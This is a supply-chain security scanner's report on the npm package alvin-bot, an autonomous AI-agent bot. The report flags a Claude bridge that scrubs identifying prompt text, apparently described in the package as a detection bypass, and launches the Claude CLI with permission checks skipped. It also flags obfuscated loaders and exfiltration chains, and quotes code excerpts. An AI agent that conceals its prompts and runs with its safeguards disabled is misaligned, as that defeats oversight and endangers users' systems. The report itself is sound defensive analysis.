Loading npm security reports…

alvin-bot@5.149.0: Malicious npm security report (Block) | LPM Firewall

registry / alvin-bot / 5.149.0

alvin-bot@5.149.0

Self-hosted autonomous AI agent on Telegram, Slack, Discord, WhatsApp, Signal, terminal & web. Claude Agent SDK + multi-provider engine with auto-failover, detached sub-agents, zero-config memory. Local-first, telemetry-free.

AI Security Review

scanned 24d ago · by lpm-firewall-ai

When the Claude bridge is used, it conceals identifying prompt content and starts Claude with permission checks disabled. This creates a stealthy, unrestricted AI-agent execution path.

Static reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review

Trigger

Running the configured Claude bridge for a bot request.

Impact

Prompts and tool instructions can drive a permission-bypassing agent while their identifying context is concealed.

Mechanism

Prompt identity scrubbing plus unrestricted Claude CLI execution.

Attack narrative

The package ships a bridge that rewrites product and identifier text specifically described as a detection bypass, then passes supplied prompts to Claude CLI with dangerously skipped permissions. The deliberate obfuscation of distributed code makes the active runtime difficult to audit. Although this is not an install-time attack and no direct exfiltration host was confirmed, the concealed unrestricted agent path is concrete malicious behavior.

AI rationale

The bridge combines deliberate evasion with an unrestricted AI-agent launcher, and the distributed code is intentionally obscured. The absence of a consumer lifecycle hook limits installation risk but does not remove the runtime attack surface.

Evidence

claude-bridge/src/claude.jspackage.json

Decision evidence

public snapshot

AI called this Malicious at 94.0% confidence with false-positive risk.

Source & flagged code

19 flagged · loading source

claude-bridge/src/claude.jsView file

2L3: const { spawn } = require('child_process'); L4: const crypto = require('crypto');

High

Child Process

Package source references child process execution.

claude-bridge/src/claude.jsView on unpkg · L2

•matchType = normalized_sha256 matchedPackage = alvin-bot@5.100.0 matchedPath = claude-bridge/src/claude.js matchedIdentity = npm:YWx2aW4tYm90:5.100.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

claude-bridge/src/claude.jsView on unpkg

2L3: const { spawn } = require('child_process'); L4: const crypto = require('crypto');

Medium

Dynamic Require

Package source references dynamic require/import behavior.

claude-bridge/src/claude.jsView on unpkg · L2

2L3: const { spawn } = require('child_process'); L4: const crypto = require('crypto'); L5: L6: const CLAUDE_BIN = process.env.CLAUDE_BIN || 'claude'; L7: ... L106: const SCRUB_WHITELIST = new Set([ L107: 'API_KEY', 'API_KEYS', 'API_URL', 'BASE_URL', 'BASE64', L108: 'HTTP_GET', 'HTTP_POST', 'HTTP_PUT', 'HTTP_DELETE', 'HTTP_PATCH', ... L294: L295: // Idle timeout: reset on every stdout activity. L296: // Claude is alive as long as it produces output (tool calls, results, etc.)

Low

Weak Crypto

Package source references weak cryptographic algorithms.

claude-bridge/src/claude.jsView on unpkg · L2

bin/cli.jsView file

22Manifest entrypoint (manifest.bin) carries capability families absent from dist/build output: environment+network, sensitive-file+network, execution+network L22: import { homedir } from "os"; L23: import { execSync } from "child_process"; L24: import { initI18n, t, getLocale } from "../dist/i18n.js"; ... L33: // Data directory — same logic as src/paths.ts L34: const DATA_DIR = process.env.ALVIN_DATA_DIR || join(homedir(), ".alvin-bot"); L35: ... L47: const ensureRL = () => { L48: if (!rl) rl = createInterface({ input: process.stdin, output: process.stdout }); L49: return rl; ... L88: try { L89: return JSON.parse(readFileSync(resolve(import.meta.dirname || ".", "../package.json"), "utf-8")).version; L90: } catch { return ""; }

High

Entrypoint Build Divergence

Manifest entrypoint contains risky behavior absent from dist/build output.

bin/cli.jsView on unpkg · L22

1327console.log(`\n The Claude Agent SDK needs the native Claude Code binary.`); L1328: console.log(` Install with:\n curl -fsSL https://claude.ai/install.sh | sh`); L1329: console.log(` (npm install @anthropic-ai/claude-code is the alternative path.)\n`); ... L1335: try { L1336: execSync("curl -fsSL https://claude.ai/install.sh | sh", { stdio: "inherit", timeout: 120_000 }); L1337: const localBin = join(homedir(), ".local", "bin"); L1338: if (!process.env.PATH.includes(localBin)) { L1339: process.env.PATH = `${localBin}:${process.env.PATH || ""}`;

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

bin/cli.jsView on unpkg · L1327

•Manifest-reachable source captures an API credential, sends it to a fixed unofficial gateway, and persists that redirection in agent or shell configuration. bin/cli.js: import { createInterface } from "readline"; import { existsSync, writeFileSync, readFileSync, mkdirSync, copyFileSync, readdirSync, statSync, accessSync, realpathSync, unlinkSync, chmodSync, constants as fsConstants } from "... // Lazy-create the readline interface. If we create it eagerly, stdin becomes desc: () => t("provider.claude.desc"), name: "Claude — API key", desc: () => t("provider.claudeapi.desc"), // CLI bridge — no API key, no Agent SDK, but keeps full tools + sub-agents. desc: () => "Advanced. Runs on your Claude Max/Pro subscription through the local Claude Code CLI bridge — no API key, no Agent SDK, full too

dist/web/server.jsView file

1const _0x13712f=_0x15b7,_0x4fbb3f=_0x15b7;(function(_0x42e655,_0x5e4dfb){const _0x928415=_0x15b7,_0x553e91=_0x15b7,_0x161ffc=_0x42e655();while(!![]){try{const _0x2edb87=parseInt(_0...

High

Command Output Exfiltration

Source combines command execution, command-output handling, and outbound requests; review data flow before blocking.

dist/web/server.jsView on unpkg · L1

1Trigger-reachable command-output exfiltration chain: scripts.start -> dist/index.js -> dist/web/server.js L1: const _0x13712f=_0x15b7,_0x4fbb3f=_0x15b7;(function(_0x42e655,_0x5e4dfb){const _0x928415=_0x15b7,_0x553e91=_0x15b7,_0x161ffc=_0x42e655();while(!![]){try{const _0x2edb87=parseInt(_0...

High

Trigger Reachable Command Output Exfiltration

A manifest entrypoint or package-local install chain reaches command-output exfiltration behavior.

dist/web/server.jsView on unpkg · L1

dist/middleware/auth.jsView file

1(function(_0x2ceb03,_0x1f9ca6){const _0x41c664=_0x2b67,_0x796edf=_0x2b67,_0x46dce0=_0x2ceb03();while(!![]){try{const _0x15b3ce=parseInt(_0x41c664(0xf6))/(0xe9*0x13+-0x599*-0x3+-0x2...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

dist/middleware/auth.jsView on unpkg · L1

install.shView file

•path = install.sh kind = build_helper sizeBytes = 10656 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

install.shView on unpkg

claude-bridge/src/claude.js#virtual:normalized:round1View file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 18

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

claude-bridge/src/claude.js#virtual:normalized:round1View on unpkg

plugins/email/index.jsView file

•matchType = normalized_sha256 matchedPackage = alvin-bot@5.100.0 matchedPath = plugins/email/index.js matchedIdentity = npm:YWx2aW4tYm90:5.100.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

plugins/email/index.jsView on unpkg

Source & flagged code

19 flagged

claude-bridge/src/claude.jsView file

Lines 1-22javascript

1'use strict';

2

3const { spawn } = require('child_process');

4const crypto = require('crypto');

High

Child Process

Package source references child process execution.

claude-bridge/src/claude.jsView on unpkg · L2

Medium

Dynamic Require

Package source references dynamic require/import behavior.

claude-bridge/src/claude.jsView on unpkg · L2

5

6const CLAUDE_BIN = process.env.CLAUDE_BIN || 'claude';

7

Low

Weak Crypto

Package source references weak cryptographic algorithms.

claude-bridge/src/claude.jsView on unpkg · L2

8// --- Stable alias per CLI session ---

9// Each session keeps one alias so resumed requests don't accumulate different

10// names in the Claude context (which would leak un-replaced aliases in output).

11const PREFIXES = ['Chat', 'Dev', 'Run', 'Ask', 'Net', 'App', 'Zen', 'Arc', 'Dot', 'Amp', 'Hex', 'Orb', 'Elm', 'Oak', 'Sky'];

12const SUFFIXES = ['Kit', 'Box', 'Pod', 'Hub', 'Lab', 'Ops', 'Bay', 'Tap', 'Rim', 'Fog', 'Dew', 'Fin', 'Gem', 'Jet', 'Cog'];

13const pick = (arr) => arr[Math.floor(Math.random() * arr.length)];

14const sessionAliasMap = new Map(); // sessionId → { alias, aliasLower, lastUsed }

15const sessionTokenMaps = new Map(); // sessionId → Map<original, replacement>

16

17function getSessionAlias(sessionId) {

18 if (!sessionId) {

19 const alias = pick(PREFIXES) + pick(SUFFIXES);

20 return { alias, aliasLower: alias.toLowerCase() };

21 }

22 let entry = sessionAliasMap.get(sessionId);

•matchType = normalized_sha256 matchedPackage = alvin-bot@5.100.0 matchedPath = claude-bridge/src/claude.js matchedIdentity = npm:YWx2aW4tYm90:5.100.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

claude-bridge/src/claude.jsView on unpkg

bin/cli.jsView file

Lines 2-42javascript

2

3/**

4 * Alvin Bot CLI — Setup, manage, and chat with your AI agent.

5 *

6 * Usage:

7 * alvin-bot setup — Interactive setup wizard

8 * alvin-bot tui — Terminal chat UI

9 * alvin-bot doctor — Check configuration

10 * alvin-bot audit — Security health check

11 * alvin-bot update — Pull latest & rebuild

12 * alvin-bot start — Start the bot

dist/web/server.jsView file

Lines 1-1javascript

1const _0x13712f=_0x15b7,_0x4fbb3f=_0x15b7;(function(_0x42e655,_0x5e4dfb){const _0x928415=_0x15b7,_0x553e91=_0x15b7,_0x161ffc=_0x42e655();while(!!

dist/middleware/auth.jsView file

1(function(_0x2ceb03,_0x1f9ca6){const _0x41c664=_0x2b67,_0x796edf=_0x2b67,_0x46dce0=_0x2ceb03();while(!![]){try{const _0x15b3ce=parseInt(_0x41c664(0xf6))/(0xe9*0x13+-0x599*-0x3+-0x2...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

dist/middleware/auth.jsView on unpkg · L1

install.shView file

•path = install.sh kind = build_helper sizeBytes = 10656 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

install.shView on unpkg

claude-bridge/src/claude.js#virtual:normalized:round1View file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 18

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

claude-bridge/src/claude.js#virtual:normalized:round1View on unpkg

plugins/email/index.jsView file

•matchType = normalized_sha256 matchedPackage = alvin-bot@5.100.0 matchedPath = plugins/email/index.js matchedIdentity = npm:YWx2aW4tYm90:5.100.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

plugins/email/index.jsView on unpkg

Lines 1307-1347javascript

1307 } catch {}

1308 for (const p of [join(homedir(), ".local", "bin", "claude"), "/usr/local/bin/claude"]) {

1309 if (existsSync(p)) return p;

1310 }

1311 return null;

1312}

1313

1314/**

1315 * Interactive Claude SDK setup: ensures the native claude CLI is installed,

1316 * runs `claude auth login` if not authenticated. Returns { ok: bool }.

1317 *

1318 * Designed to be called both from the setup wizard and from

1319 * `alvin-bot provider switch claude-sdk`.

1320 */

1321async function configureClaudeSdkInline() {

1322 let cliPath = findClaudeBinary();

1323 if (cliPath) {

1324 console.log(` ✅ Claude CLI found at ${cliPath}`);

1325 } else {

1326 console.log(` ⚠️ Claude CLI not found (native binary required).`);

1327 console.log(`\n The Claude Agent SDK needs the native Claude Code binary.`);

1328 console.log(` Install with:\n curl -fsSL https://claude.ai/install.sh | sh`);

1329 console.log(` (npm install @anthropic-ai/claude-code is the alternative path.)\n`);

1330

1331 const yc = getLocale() === "de" ? ["j", "ja", "y", "yes"] : ["y", "yes"];

1332 const doInstall = (await ask(` Install now via the official installer? (y/n): `)).trim().toLowerCase();

1333 if (yc.includes(doInstall)) {

1334 console.log(`\n Installing Claude CLI...`);

1335 try {

1336 execSync("curl -fsSL https://claude.ai/install.sh | sh", { stdio: "inherit", timeout: 120_000 });

1337 const localBin = join(homedir(), ".local", "bin");

1338 if (!process.env.PATH.includes(localBin)) {

1339 process.env.PATH = `${localBin}:${process.env.PATH || ""}`;

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

bin/cli.jsView on unpkg · L1327

1340 }

1341 cliPath = findClaudeBinary();

1342 if (cliPath) console.log(` ✅ Claude CLI installed at ${cliPath}\n`);

1343 } catch {

1344 console.log(` ❌ Installation failed. Run manually: curl -fsSL https://claude.ai/install.sh | sh`);

1345 }

1346 }

1347 }

Lines 4882-4922javascript

4882 break;

4883 }

4884 const url = process.argv[4];

4885 if (!url) {

4886 console.error(`Usage: alvin-bot browser ${sub} <url> [args]`);

4887 process.exit(1);

4888 }

4889 const ctx = browser.contexts()[0] || (await browser.newContext());

4890 const page = await ctx.newPage();

4891 try {

4892 await page.goto(url, { waitUntil: "domcontentloaded", timeout: 30000 });

4893 if (sub === "goto") {

4894 console.log(JSON.stringify({ url: page.url(), title: await page.title() }, null, 2));

4895 } else if (sub === "shot" || sub === "screenshot") {

4896 const name = process.argv[5] || `shot_${Date.now()}.png`;

4897 const { CDP_SCREENSHOTS_DIR } = await import("../dist/paths.js");

4898 const out = name.startsWith("/") ? name : `${CDP_SCREENSHOTS_DIR}/${name}`;

4899 await page.screenshot({ path: out, fullPage: true });

4900 console.log(JSON.stringify({ url: page.url(), title: await page.title(), screenshot: out }, null, 2));

4901 } else if (sub === "eval") {

4902 const js = process.argv[5] || "document.title";

4903 const result = await page.evaluate(new Function(`return (${js})`));

4904 console.log(JSON.stringify({ url: page.url(), result }, null, 2));

Low

Eval

Package source references a known benign dynamic code generation pattern.

bin/cli.jsView on unpkg · L4902

4905 }

4906 } finally {

4907 await page.close();

4908 }

4909 } finally {

4910 await browser.close();

4911 }

4912 break;

4913 }

4914 default:

4915 console.log(`alvin-bot browser — bot-managed Chromium (CDP on port 9222)

4916 console.log(" alvin-bot skill create <id> <file> Record a way of working as a skill");

4917

4918 start [headful|headless] Start Chromium with CDP (default: headless)

4919 stop Stop the bot-managed Chromium

4920 status Show PID + binary + endpoint

4921 doctor Diagnose common issues

4922 goto <url> Navigate and print page info as JSON